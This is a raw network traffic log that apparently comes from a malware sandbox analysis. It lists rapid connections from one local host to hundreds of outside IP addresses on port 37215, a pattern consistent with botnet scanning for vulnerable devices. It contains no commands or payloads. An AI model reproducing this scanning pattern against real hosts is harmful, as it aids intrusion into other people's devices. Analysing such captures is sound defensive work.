Oct 17, 2024 02:19:41.067006111 CEST	20644	37215	192.168.2.14	156.106.39.28
Oct 17, 2024 02:19:41.067012072 CEST	37215	20644	41.97.224.74	192.168.2.14
Oct 17, 2024 02:19:41.067013025 CEST	20644	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:41.067025900 CEST	20644	37215	192.168.2.14	41.212.199.44
Oct 17, 2024 02:19:41.067027092 CEST	37215	20644	41.105.211.223	192.168.2.14
Oct 17, 2024 02:19:41.067043066 CEST	37215	20644	156.91.159.119	192.168.2.14
Oct 17, 2024 02:19:41.067054987 CEST	20644	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:41.067059040 CEST	37215	20644	156.229.117.78	192.168.2.14
Oct 17, 2024 02:19:41.067066908 CEST	20644	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:41.067069054 CEST	20644	37215	192.168.2.14	41.105.211.223
Oct 17, 2024 02:19:41.067074060 CEST	37215	20644	41.82.9.158	192.168.2.14
Oct 17, 2024 02:19:41.067087889 CEST	37215	20644	197.3.88.249	192.168.2.14
Oct 17, 2024 02:19:41.067101955 CEST	37215	20644	156.66.126.47	192.168.2.14
Oct 17, 2024 02:19:41.067116022 CEST	37215	20644	41.25.183.201	192.168.2.14
Oct 17, 2024 02:19:41.067127943 CEST	20644	37215	192.168.2.14	156.229.117.78
Oct 17, 2024 02:19:41.067132950 CEST	20644	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:41.067132950 CEST	20644	37215	192.168.2.14	41.82.9.158
Oct 17, 2024 02:19:41.067137957 CEST	20644	37215	192.168.2.14	156.66.126.47
Oct 17, 2024 02:19:41.067142963 CEST	20644	37215	192.168.2.14	197.3.88.249
Oct 17, 2024 02:19:41.067143917 CEST	37215	20644	41.240.174.103	192.168.2.14
Oct 17, 2024 02:19:41.067159891 CEST	37215	20644	41.14.98.49	192.168.2.14
Oct 17, 2024 02:19:41.067173004 CEST	37215	20644	156.158.186.253	192.168.2.14
Oct 17, 2024 02:19:41.067179918 CEST	20644	37215	192.168.2.14	41.25.183.201
Oct 17, 2024 02:19:41.067182064 CEST	20644	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:41.067189932 CEST	37215	20644	41.74.170.248	192.168.2.14
Oct 17, 2024 02:19:41.067193985 CEST	20644	37215	192.168.2.14	41.14.98.49
Oct 17, 2024 02:19:41.067203045 CEST	37215	20644	156.35.219.54	192.168.2.14
Oct 17, 2024 02:19:41.067218065 CEST	37215	20644	41.229.139.194	192.168.2.14
Oct 17, 2024 02:19:41.067228079 CEST	20644	37215	192.168.2.14	156.158.186.253
Oct 17, 2024 02:19:41.067228079 CEST	20644	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:41.067233086 CEST	37215	20644	197.80.146.14	192.168.2.14
Oct 17, 2024 02:19:41.067240953 CEST	20644	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:41.067248106 CEST	37215	20644	156.66.118.45	192.168.2.14
Oct 17, 2024 02:19:41.067250967 CEST	20644	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:41.067261934 CEST	37215	20644	156.214.27.37	192.168.2.14
Oct 17, 2024 02:19:41.067269087 CEST	20644	37215	192.168.2.14	197.80.146.14
Oct 17, 2024 02:19:41.067276955 CEST	37215	20644	156.8.0.159	192.168.2.14
Oct 17, 2024 02:19:41.067291021 CEST	37215	20644	197.48.103.235	192.168.2.14
Oct 17, 2024 02:19:41.067306042 CEST	37215	20644	197.74.5.190	192.168.2.14
Oct 17, 2024 02:19:41.067306995 CEST	20644	37215	192.168.2.14	156.214.27.37
Oct 17, 2024 02:19:41.067312956 CEST	20644	37215	192.168.2.14	156.8.0.159
Oct 17, 2024 02:19:41.067320108 CEST	37215	20644	197.103.162.180	192.168.2.14
Oct 17, 2024 02:19:41.067329884 CEST	20644	37215	192.168.2.14	156.66.118.45
Oct 17, 2024 02:19:41.067331076 CEST	20644	37215	192.168.2.14	197.48.103.235
Oct 17, 2024 02:19:41.067333937 CEST	37215	20644	156.59.108.206	192.168.2.14
Oct 17, 2024 02:19:41.067347050 CEST	37215	20644	156.20.235.74	192.168.2.14
Oct 17, 2024 02:19:41.067349911 CEST	20644	37215	192.168.2.14	197.74.5.190
Oct 17, 2024 02:19:41.067351103 CEST	20644	37215	192.168.2.14	197.103.162.180
Oct 17, 2024 02:19:41.067362070 CEST	37215	20644	156.187.4.61	192.168.2.14
Oct 17, 2024 02:19:41.067369938 CEST	20644	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:41.067377090 CEST	37215	20644	197.7.156.242	192.168.2.14
Oct 17, 2024 02:19:41.067401886 CEST	20644	37215	192.168.2.14	156.20.235.74
Oct 17, 2024 02:19:41.067414999 CEST	20644	37215	192.168.2.14	197.7.156.242
Oct 17, 2024 02:19:41.067421913 CEST	37215	20644	41.48.209.80	192.168.2.14
Oct 17, 2024 02:19:41.067436934 CEST	37215	20644	41.158.7.58	192.168.2.14
Oct 17, 2024 02:19:41.067442894 CEST	20644	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:41.067451954 CEST	37215	20644	197.137.107.247	192.168.2.14
Oct 17, 2024 02:19:41.067456961 CEST	20644	37215	192.168.2.14	41.48.209.80
Oct 17, 2024 02:19:41.067466021 CEST	37215	20644	41.9.224.55	192.168.2.14
Oct 17, 2024 02:19:41.067477942 CEST	20644	37215	192.168.2.14	41.158.7.58
Oct 17, 2024 02:19:41.067482948 CEST	37215	20644	197.42.154.97	192.168.2.14
Oct 17, 2024 02:19:41.067498922 CEST	37215	20644	41.216.249.32	192.168.2.14
Oct 17, 2024 02:19:41.067502975 CEST	20644	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:41.067507982 CEST	20644	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:41.067527056 CEST	37215	20644	156.225.19.26	192.168.2.14
Oct 17, 2024 02:19:41.067528963 CEST	20644	37215	192.168.2.14	197.42.154.97
Oct 17, 2024 02:19:41.067538023 CEST	20644	37215	192.168.2.14	41.216.249.32
Oct 17, 2024 02:19:41.067542076 CEST	37215	20644	156.211.38.1	192.168.2.14
Oct 17, 2024 02:19:41.067557096 CEST	37215	20644	41.49.253.170	192.168.2.14
Oct 17, 2024 02:19:41.067560911 CEST	20644	37215	192.168.2.14	156.225.19.26
Oct 17, 2024 02:19:41.067570925 CEST	20644	37215	192.168.2.14	156.211.38.1
Oct 17, 2024 02:19:41.067572117 CEST	37215	20644	156.53.140.185	192.168.2.14
Oct 17, 2024 02:19:41.067586899 CEST	37215	20644	41.222.25.224	192.168.2.14
Oct 17, 2024 02:19:41.067600965 CEST	37215	20644	41.108.209.179	192.168.2.14
Oct 17, 2024 02:19:41.067614079 CEST	37215	20644	197.202.12.112	192.168.2.14
Oct 17, 2024 02:19:41.067626953 CEST	37215	20644	41.70.217.138	192.168.2.14
Oct 17, 2024 02:19:41.067632914 CEST	20644	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:41.067641020 CEST	37215	20644	156.50.127.146	192.168.2.14
Oct 17, 2024 02:19:41.067651033 CEST	20644	37215	192.168.2.14	41.49.253.170
Oct 17, 2024 02:19:41.067651987 CEST	20644	37215	192.168.2.14	156.53.140.185
Oct 17, 2024 02:19:41.067651987 CEST	20644	37215	192.168.2.14	41.108.209.179
Oct 17, 2024 02:19:41.067656040 CEST	37215	20644	41.226.199.103	192.168.2.14
Oct 17, 2024 02:19:41.067656994 CEST	20644	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:41.067660093 CEST	20644	37215	192.168.2.14	197.202.12.112
Oct 17, 2024 02:19:41.067671061 CEST	37215	20644	197.34.112.132	192.168.2.14
Oct 17, 2024 02:19:41.067677021 CEST	20644	37215	192.168.2.14	156.50.127.146
Oct 17, 2024 02:19:41.067691088 CEST	37215	20644	41.181.48.226	192.168.2.14
Oct 17, 2024 02:19:41.067697048 CEST	20644	37215	192.168.2.14	41.226.199.103
Oct 17, 2024 02:19:41.067706108 CEST	37215	20644	197.253.36.239	192.168.2.14
Oct 17, 2024 02:19:41.067720890 CEST	37215	20644	197.42.65.244	192.168.2.14
Oct 17, 2024 02:19:41.067720890 CEST	20644	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:41.067734957 CEST	37215	20644	156.221.158.76	192.168.2.14
Oct 17, 2024 02:19:41.067745924 CEST	20644	37215	192.168.2.14	197.253.36.239
Oct 17, 2024 02:19:41.067747116 CEST	20644	37215	192.168.2.14	197.34.112.132
Oct 17, 2024 02:19:41.067749023 CEST	37215	20644	156.220.37.13	192.168.2.14
Oct 17, 2024 02:19:41.067760944 CEST	20644	37215	192.168.2.14	197.42.65.244
Oct 17, 2024 02:19:41.067764044 CEST	37215	20644	41.233.212.51	192.168.2.14
Oct 17, 2024 02:19:41.067780972 CEST	37215	20644	197.61.247.104	192.168.2.14
Oct 17, 2024 02:19:41.067785025 CEST	20644	37215	192.168.2.14	156.220.37.13
Oct 17, 2024 02:19:41.067795992 CEST	37215	20644	41.66.252.94	192.168.2.14
Oct 17, 2024 02:19:41.067800045 CEST	20644	37215	192.168.2.14	156.221.158.76
Oct 17, 2024 02:19:41.067800999 CEST	20644	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:41.067810059 CEST	37215	20644	156.187.253.20	192.168.2.14
Oct 17, 2024 02:19:41.067823887 CEST	37215	20644	156.82.16.200	192.168.2.14
Oct 17, 2024 02:19:41.067838907 CEST	37215	20644	156.21.216.57	192.168.2.14
Oct 17, 2024 02:19:41.067845106 CEST	20644	37215	192.168.2.14	197.61.247.104
Oct 17, 2024 02:19:41.067845106 CEST	20644	37215	192.168.2.14	156.187.253.20
Oct 17, 2024 02:19:41.067857027 CEST	37215	20644	156.107.220.177	192.168.2.14
Oct 17, 2024 02:19:41.067877054 CEST	20644	37215	192.168.2.14	41.66.252.94
Oct 17, 2024 02:19:41.067888975 CEST	37215	20644	197.91.13.215	192.168.2.14
Oct 17, 2024 02:19:41.067892075 CEST	20644	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:41.067903996 CEST	37215	20644	197.251.236.170	192.168.2.14
Oct 17, 2024 02:19:41.067918062 CEST	37215	20644	41.52.158.130	192.168.2.14
Oct 17, 2024 02:19:41.067929983 CEST	20644	37215	192.168.2.14	156.82.16.200
Oct 17, 2024 02:19:41.067933083 CEST	37215	20644	156.196.169.177	192.168.2.14
Oct 17, 2024 02:19:41.067933083 CEST	20644	37215	192.168.2.14	156.21.216.57
Oct 17, 2024 02:19:41.067938089 CEST	20644	37215	192.168.2.14	197.91.13.215
Oct 17, 2024 02:19:41.067946911 CEST	37215	20644	197.167.97.109	192.168.2.14
Oct 17, 2024 02:19:41.067960978 CEST	37215	20644	41.30.174.117	192.168.2.14
Oct 17, 2024 02:19:41.067965984 CEST	20644	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:41.067965984 CEST	20644	37215	192.168.2.14	41.52.158.130
Oct 17, 2024 02:19:41.067969084 CEST	20644	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:41.067975998 CEST	37215	20644	41.130.126.58	192.168.2.14
Oct 17, 2024 02:19:41.067981005 CEST	20644	37215	192.168.2.14	197.167.97.109
Oct 17, 2024 02:19:41.067990065 CEST	37215	20644	156.254.209.251	192.168.2.14
Oct 17, 2024 02:19:41.067997932 CEST	20644	37215	192.168.2.14	41.30.174.117
Oct 17, 2024 02:19:41.068003893 CEST	37215	20644	41.19.23.201	192.168.2.14
Oct 17, 2024 02:19:41.068010092 CEST	20644	37215	192.168.2.14	41.130.126.58
Oct 17, 2024 02:19:41.068018913 CEST	37215	20644	41.252.236.8	192.168.2.14
Oct 17, 2024 02:19:41.068032026 CEST	37215	20644	156.227.45.78	192.168.2.14
Oct 17, 2024 02:19:41.068032026 CEST	20644	37215	192.168.2.14	156.254.209.251
Oct 17, 2024 02:19:41.068042040 CEST	20644	37215	192.168.2.14	41.19.23.201
Oct 17, 2024 02:19:41.068049908 CEST	20644	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:41.068059921 CEST	37215	20644	197.75.230.149	192.168.2.14
Oct 17, 2024 02:19:41.068073988 CEST	37215	20644	41.147.231.166	192.168.2.14
Oct 17, 2024 02:19:41.068073988 CEST	20644	37215	192.168.2.14	156.227.45.78
Oct 17, 2024 02:19:41.068089008 CEST	37215	20644	41.4.146.210	192.168.2.14
Oct 17, 2024 02:19:41.068094969 CEST	20644	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:41.068105936 CEST	37215	20644	156.83.9.230	192.168.2.14
Oct 17, 2024 02:19:41.068110943 CEST	20644	37215	192.168.2.14	41.147.231.166
Oct 17, 2024 02:19:41.068120003 CEST	37215	20644	41.108.234.87	192.168.2.14
Oct 17, 2024 02:19:41.068135977 CEST	37215	20644	156.215.137.184	192.168.2.14
Oct 17, 2024 02:19:41.068140984 CEST	20644	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:41.068142891 CEST	20644	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:41.068151951 CEST	37215	20644	156.219.176.62	192.168.2.14
Oct 17, 2024 02:19:41.068166971 CEST	37215	20644	197.128.232.182	192.168.2.14
Oct 17, 2024 02:19:41.068169117 CEST	20644	37215	192.168.2.14	41.108.234.87
Oct 17, 2024 02:19:41.068169117 CEST	20644	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:41.068182945 CEST	37215	20644	197.77.141.197	192.168.2.14
Oct 17, 2024 02:19:41.068208933 CEST	37215	20644	41.29.102.230	192.168.2.14
Oct 17, 2024 02:19:41.068227053 CEST	20644	37215	192.168.2.14	156.219.176.62
Oct 17, 2024 02:19:41.068228006 CEST	20644	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:41.068228006 CEST	20644	37215	192.168.2.14	197.77.141.197
Oct 17, 2024 02:19:41.068228960 CEST	37215	20644	156.36.78.206	192.168.2.14
Oct 17, 2024 02:19:41.068243980 CEST	37215	20644	41.241.0.143	192.168.2.14
Oct 17, 2024 02:19:41.068259954 CEST	37215	20644	156.67.10.138	192.168.2.14
Oct 17, 2024 02:19:41.068269968 CEST	20644	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:41.068274021 CEST	37215	20644	41.108.18.107	192.168.2.14
Oct 17, 2024 02:19:41.068274021 CEST	20644	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:41.068289042 CEST	37215	20644	41.154.136.120	192.168.2.14
Oct 17, 2024 02:19:41.068293095 CEST	20644	37215	192.168.2.14	41.241.0.143
Oct 17, 2024 02:19:41.068305969 CEST	37215	20644	197.78.47.248	192.168.2.14
Oct 17, 2024 02:19:41.068320036 CEST	37215	20644	197.18.200.152	192.168.2.14
Oct 17, 2024 02:19:41.068322897 CEST	20644	37215	192.168.2.14	41.154.136.120
Oct 17, 2024 02:19:41.068324089 CEST	20644	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:41.068327904 CEST	20644	37215	192.168.2.14	156.67.10.138
Oct 17, 2024 02:19:41.068332911 CEST	37215	20644	156.162.153.5	192.168.2.14
Oct 17, 2024 02:19:41.068347931 CEST	37215	20644	41.248.114.237	192.168.2.14
Oct 17, 2024 02:19:41.068353891 CEST	20644	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:41.068356037 CEST	20644	37215	192.168.2.14	197.18.200.152
Oct 17, 2024 02:19:41.068361044 CEST	37215	20644	41.140.60.225	192.168.2.14
Oct 17, 2024 02:19:41.068372965 CEST	20644	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:41.068376064 CEST	37215	20644	197.157.68.16	192.168.2.14
Oct 17, 2024 02:19:41.068391085 CEST	37215	20644	41.33.227.235	192.168.2.14
Oct 17, 2024 02:19:41.068397045 CEST	20644	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:41.068406105 CEST	37215	20644	41.105.31.70	192.168.2.14
Oct 17, 2024 02:19:41.068406105 CEST	20644	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:41.068489075 CEST	20644	37215	192.168.2.14	197.157.68.16
Oct 17, 2024 02:19:41.068489075 CEST	20644	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:41.068489075 CEST	20644	37215	192.168.2.14	41.105.31.70
Oct 17, 2024 02:19:41.068597078 CEST	37215	20644	41.25.39.86	192.168.2.14
Oct 17, 2024 02:19:41.068613052 CEST	37215	20644	197.167.89.226	192.168.2.14
Oct 17, 2024 02:19:41.068627119 CEST	37215	20644	197.190.157.186	192.168.2.14
Oct 17, 2024 02:19:41.068641901 CEST	37215	20644	41.59.142.173	192.168.2.14
Oct 17, 2024 02:19:41.068649054 CEST	20644	37215	192.168.2.14	41.25.39.86
Oct 17, 2024 02:19:41.068656921 CEST	37215	20644	197.125.71.22	192.168.2.14
Oct 17, 2024 02:19:41.068658113 CEST	20644	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:41.068670988 CEST	37215	20644	197.243.195.90	192.168.2.14
Oct 17, 2024 02:19:41.068682909 CEST	20644	37215	192.168.2.14	197.190.157.186
Oct 17, 2024 02:19:41.068682909 CEST	20644	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:41.068686008 CEST	37215	20644	156.136.27.184	192.168.2.14
Oct 17, 2024 02:19:41.068695068 CEST	20644	37215	192.168.2.14	197.125.71.22
Oct 17, 2024 02:19:41.068701029 CEST	37215	20644	197.201.29.125	192.168.2.14
Oct 17, 2024 02:19:41.068717003 CEST	37215	20644	41.61.10.200	192.168.2.14
Oct 17, 2024 02:19:41.068731070 CEST	37215	20644	41.53.162.133	192.168.2.14
Oct 17, 2024 02:19:41.068737984 CEST	20644	37215	192.168.2.14	197.243.195.90
Oct 17, 2024 02:19:41.068746090 CEST	37215	20644	156.45.20.38	192.168.2.14
Oct 17, 2024 02:19:41.068759918 CEST	37215	20644	197.142.233.40	192.168.2.14
Oct 17, 2024 02:19:41.068774939 CEST	37215	20644	156.196.4.63	192.168.2.14
Oct 17, 2024 02:19:41.068774939 CEST	20644	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:41.068789959 CEST	37215	20644	41.98.57.45	192.168.2.14
Oct 17, 2024 02:19:41.068792105 CEST	20644	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:41.068798065 CEST	20644	37215	192.168.2.14	197.201.29.125
Oct 17, 2024 02:19:41.068798065 CEST	20644	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:41.068798065 CEST	20644	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:41.068814993 CEST	20644	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:41.068835974 CEST	20644	37215	192.168.2.14	156.45.20.38
Oct 17, 2024 02:19:41.068836927 CEST	20644	37215	192.168.2.14	41.98.57.45
Oct 17, 2024 02:19:41.068991899 CEST	37215	20644	156.20.186.166	192.168.2.14
Oct 17, 2024 02:19:41.069005966 CEST	37215	20644	197.238.119.64	192.168.2.14
Oct 17, 2024 02:19:41.069020033 CEST	37215	20644	197.152.138.101	192.168.2.14
Oct 17, 2024 02:19:41.069032907 CEST	37215	20644	41.187.77.180	192.168.2.14
Oct 17, 2024 02:19:41.069039106 CEST	20644	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:41.069046974 CEST	37215	20644	41.208.96.182	192.168.2.14
Oct 17, 2024 02:19:41.069061995 CEST	37215	20644	197.46.80.116	192.168.2.14
Oct 17, 2024 02:19:41.069076061 CEST	37215	20644	41.167.39.254	192.168.2.14
Oct 17, 2024 02:19:41.069088936 CEST	37215	20644	197.111.212.103	192.168.2.14
Oct 17, 2024 02:19:41.069089890 CEST	20644	37215	192.168.2.14	197.238.119.64
Oct 17, 2024 02:19:41.069094896 CEST	20644	37215	192.168.2.14	41.187.77.180
Oct 17, 2024 02:19:41.069101095 CEST	20644	37215	192.168.2.14	197.152.138.101
Oct 17, 2024 02:19:41.069101095 CEST	20644	37215	192.168.2.14	197.46.80.116
Oct 17, 2024 02:19:41.069103003 CEST	37215	20644	41.104.152.11	192.168.2.14
Oct 17, 2024 02:19:41.069107056 CEST	20644	37215	192.168.2.14	41.208.96.182
Oct 17, 2024 02:19:41.069117069 CEST	37215	20644	41.167.85.71	192.168.2.14
Oct 17, 2024 02:19:41.069118977 CEST	20644	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:41.069119930 CEST	20644	37215	192.168.2.14	41.167.39.254
Oct 17, 2024 02:19:41.069133997 CEST	37215	20644	156.105.45.222	192.168.2.14
Oct 17, 2024 02:19:41.069147110 CEST	37215	20644	41.157.56.29	192.168.2.14
Oct 17, 2024 02:19:41.069163084 CEST	37215	20644	197.130.19.23	192.168.2.14
Oct 17, 2024 02:19:41.069170952 CEST	20644	37215	192.168.2.14	41.104.152.11
Oct 17, 2024 02:19:41.069170952 CEST	20644	37215	192.168.2.14	41.167.85.71
Oct 17, 2024 02:19:41.069170952 CEST	20644	37215	192.168.2.14	156.105.45.222
Oct 17, 2024 02:19:41.069179058 CEST	37215	20644	156.68.97.235	192.168.2.14
Oct 17, 2024 02:19:41.069194078 CEST	37215	20644	197.192.132.151	192.168.2.14
Oct 17, 2024 02:19:41.069205999 CEST	20644	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:41.069206953 CEST	37215	20644	197.133.19.220	192.168.2.14
Oct 17, 2024 02:19:41.069211960 CEST	20644	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:41.069221973 CEST	37215	20644	156.154.137.128	192.168.2.14
Oct 17, 2024 02:19:41.069227934 CEST	20644	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:41.069230080 CEST	20644	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:41.069238901 CEST	37215	20644	41.6.117.27	192.168.2.14
Oct 17, 2024 02:19:41.069253922 CEST	37215	20644	41.78.42.126	192.168.2.14
Oct 17, 2024 02:19:41.069256067 CEST	20644	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:41.069272995 CEST	20644	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:41.069281101 CEST	37215	20644	156.89.241.31	192.168.2.14
Oct 17, 2024 02:19:41.069294930 CEST	37215	20644	156.173.125.147	192.168.2.14
Oct 17, 2024 02:19:41.069307089 CEST	20644	37215	192.168.2.14	41.78.42.126
Oct 17, 2024 02:19:41.069308996 CEST	37215	20644	197.81.5.137	192.168.2.14
Oct 17, 2024 02:19:41.069315910 CEST	20644	37215	192.168.2.14	41.6.117.27
Oct 17, 2024 02:19:41.069324017 CEST	37215	20644	41.154.99.16	192.168.2.14
Oct 17, 2024 02:19:41.069328070 CEST	20644	37215	192.168.2.14	156.89.241.31
Oct 17, 2024 02:19:41.069334984 CEST	20644	37215	192.168.2.14	197.81.5.137
Oct 17, 2024 02:19:41.069338083 CEST	20644	37215	192.168.2.14	156.173.125.147
Oct 17, 2024 02:19:41.069339037 CEST	37215	20644	197.56.88.82	192.168.2.14
Oct 17, 2024 02:19:41.069354057 CEST	37215	20644	41.43.120.9	192.168.2.14
Oct 17, 2024 02:19:41.069360971 CEST	20644	37215	192.168.2.14	41.154.99.16
Oct 17, 2024 02:19:41.069369078 CEST	37215	20644	156.205.121.162	192.168.2.14
Oct 17, 2024 02:19:41.069375992 CEST	20644	37215	192.168.2.14	197.56.88.82
Oct 17, 2024 02:19:41.069381952 CEST	37215	20644	197.225.98.71	192.168.2.14
Oct 17, 2024 02:19:41.069386005 CEST	20644	37215	192.168.2.14	41.43.120.9
Oct 17, 2024 02:19:41.069399118 CEST	37215	20644	41.77.68.9	192.168.2.14
Oct 17, 2024 02:19:41.069412947 CEST	37215	20644	41.59.212.164	192.168.2.14
Oct 17, 2024 02:19:41.069427967 CEST	37215	20644	197.133.89.106	192.168.2.14
Oct 17, 2024 02:19:41.069442034 CEST	37215	20644	197.21.63.110	192.168.2.14
Oct 17, 2024 02:19:41.069448948 CEST	20644	37215	192.168.2.14	197.225.98.71
Oct 17, 2024 02:19:41.069448948 CEST	20644	37215	192.168.2.14	41.59.212.164
Oct 17, 2024 02:19:41.069448948 CEST	20644	37215	192.168.2.14	41.77.68.9
Oct 17, 2024 02:19:41.069457054 CEST	37215	20644	197.229.153.174	192.168.2.14
Oct 17, 2024 02:19:41.069466114 CEST	20644	37215	192.168.2.14	197.133.89.106
Oct 17, 2024 02:19:41.069466114 CEST	20644	37215	192.168.2.14	156.205.121.162
Oct 17, 2024 02:19:41.069470882 CEST	37215	20644	156.199.137.26	192.168.2.14
Oct 17, 2024 02:19:41.069484949 CEST	37215	20644	156.132.236.123	192.168.2.14
Oct 17, 2024 02:19:41.069498062 CEST	37215	20644	156.240.21.82	192.168.2.14
Oct 17, 2024 02:19:41.069503069 CEST	20644	37215	192.168.2.14	156.199.137.26
Oct 17, 2024 02:19:41.069511890 CEST	37215	20644	41.253.60.117	192.168.2.14
Oct 17, 2024 02:19:41.069521904 CEST	20644	37215	192.168.2.14	156.132.236.123
Oct 17, 2024 02:19:41.069521904 CEST	20644	37215	192.168.2.14	156.240.21.82
Oct 17, 2024 02:19:41.069526911 CEST	37215	20644	156.15.214.3	192.168.2.14
Oct 17, 2024 02:19:41.069540977 CEST	37215	20644	41.115.67.72	192.168.2.14
Oct 17, 2024 02:19:41.069544077 CEST	20644	37215	192.168.2.14	41.253.60.117
Oct 17, 2024 02:19:41.069555044 CEST	37215	20644	156.177.173.26	192.168.2.14
Oct 17, 2024 02:19:41.069569111 CEST	37215	20644	156.61.114.214	192.168.2.14
Oct 17, 2024 02:19:41.069570065 CEST	20644	37215	192.168.2.14	197.229.153.174
Oct 17, 2024 02:19:41.069571018 CEST	20644	37215	192.168.2.14	197.21.63.110
Oct 17, 2024 02:19:41.069596052 CEST	37215	20644	156.168.93.183	192.168.2.14
Oct 17, 2024 02:19:41.069605112 CEST	20644	37215	192.168.2.14	156.15.214.3
Oct 17, 2024 02:19:41.069611073 CEST	37215	20644	41.44.206.15	192.168.2.14
Oct 17, 2024 02:19:41.069612026 CEST	20644	37215	192.168.2.14	41.115.67.72
Oct 17, 2024 02:19:41.069612026 CEST	20644	37215	192.168.2.14	156.177.173.26
Oct 17, 2024 02:19:41.069622993 CEST	20644	37215	192.168.2.14	156.61.114.214
Oct 17, 2024 02:19:41.069626093 CEST	37215	20644	41.227.55.12	192.168.2.14
Oct 17, 2024 02:19:41.069632053 CEST	20644	37215	192.168.2.14	156.168.93.183
Oct 17, 2024 02:19:41.069639921 CEST	37215	20644	41.213.91.206	192.168.2.14
Oct 17, 2024 02:19:41.069653988 CEST	37215	20644	197.237.64.184	192.168.2.14
Oct 17, 2024 02:19:41.069657087 CEST	20644	37215	192.168.2.14	41.44.206.15
Oct 17, 2024 02:19:41.069659948 CEST	20644	37215	192.168.2.14	41.227.55.12
Oct 17, 2024 02:19:41.069668055 CEST	37215	20644	41.101.58.171	192.168.2.14
Oct 17, 2024 02:19:41.069684029 CEST	37215	20644	156.210.43.65	192.168.2.14
Oct 17, 2024 02:19:41.069684982 CEST	20644	37215	192.168.2.14	41.213.91.206
Oct 17, 2024 02:19:41.069698095 CEST	37215	20644	197.34.88.5	192.168.2.14
Oct 17, 2024 02:19:41.069698095 CEST	20644	37215	192.168.2.14	197.237.64.184
Oct 17, 2024 02:19:41.069713116 CEST	37215	20644	41.53.156.225	192.168.2.14
Oct 17, 2024 02:19:41.069717884 CEST	20644	37215	192.168.2.14	156.210.43.65
Oct 17, 2024 02:19:41.069726944 CEST	37215	20644	41.193.240.118	192.168.2.14
Oct 17, 2024 02:19:41.069741964 CEST	37215	20644	197.229.228.250	192.168.2.14
Oct 17, 2024 02:19:41.069749117 CEST	20644	37215	192.168.2.14	41.101.58.171
Oct 17, 2024 02:19:41.069756985 CEST	20644	37215	192.168.2.14	41.53.156.225
Oct 17, 2024 02:19:41.069756985 CEST	20644	37215	192.168.2.14	197.34.88.5
Oct 17, 2024 02:19:41.069756985 CEST	20644	37215	192.168.2.14	41.193.240.118
Oct 17, 2024 02:19:41.069793940 CEST	20644	37215	192.168.2.14	197.229.228.250
Oct 17, 2024 02:19:41.069833040 CEST	37215	20644	41.96.23.70	192.168.2.14
Oct 17, 2024 02:19:41.069847107 CEST	37215	20644	156.84.184.7	192.168.2.14
Oct 17, 2024 02:19:41.069859982 CEST	37215	20644	41.207.86.104	192.168.2.14
Oct 17, 2024 02:19:41.069874048 CEST	37215	20644	156.151.91.242	192.168.2.14
Oct 17, 2024 02:19:41.069890022 CEST	37215	20644	41.21.164.137	192.168.2.14
Oct 17, 2024 02:19:41.069897890 CEST	20644	37215	192.168.2.14	41.207.86.104
Oct 17, 2024 02:19:41.069904089 CEST	37215	20644	197.249.131.168	192.168.2.14
Oct 17, 2024 02:19:41.069905043 CEST	20644	37215	192.168.2.14	41.96.23.70
Oct 17, 2024 02:19:41.069917917 CEST	37215	20644	156.195.89.159	192.168.2.14
Oct 17, 2024 02:19:41.069924116 CEST	20644	37215	192.168.2.14	41.21.164.137
Oct 17, 2024 02:19:41.069925070 CEST	20644	37215	192.168.2.14	156.84.184.7
Oct 17, 2024 02:19:41.069927931 CEST	20644	37215	192.168.2.14	156.151.91.242
Oct 17, 2024 02:19:41.069931984 CEST	37215	20644	41.63.69.174	192.168.2.14
Oct 17, 2024 02:19:41.069936991 CEST	20644	37215	192.168.2.14	197.249.131.168
Oct 17, 2024 02:19:41.069947004 CEST	37215	20644	41.31.153.180	192.168.2.14
Oct 17, 2024 02:19:41.069957018 CEST	20644	37215	192.168.2.14	41.63.69.174
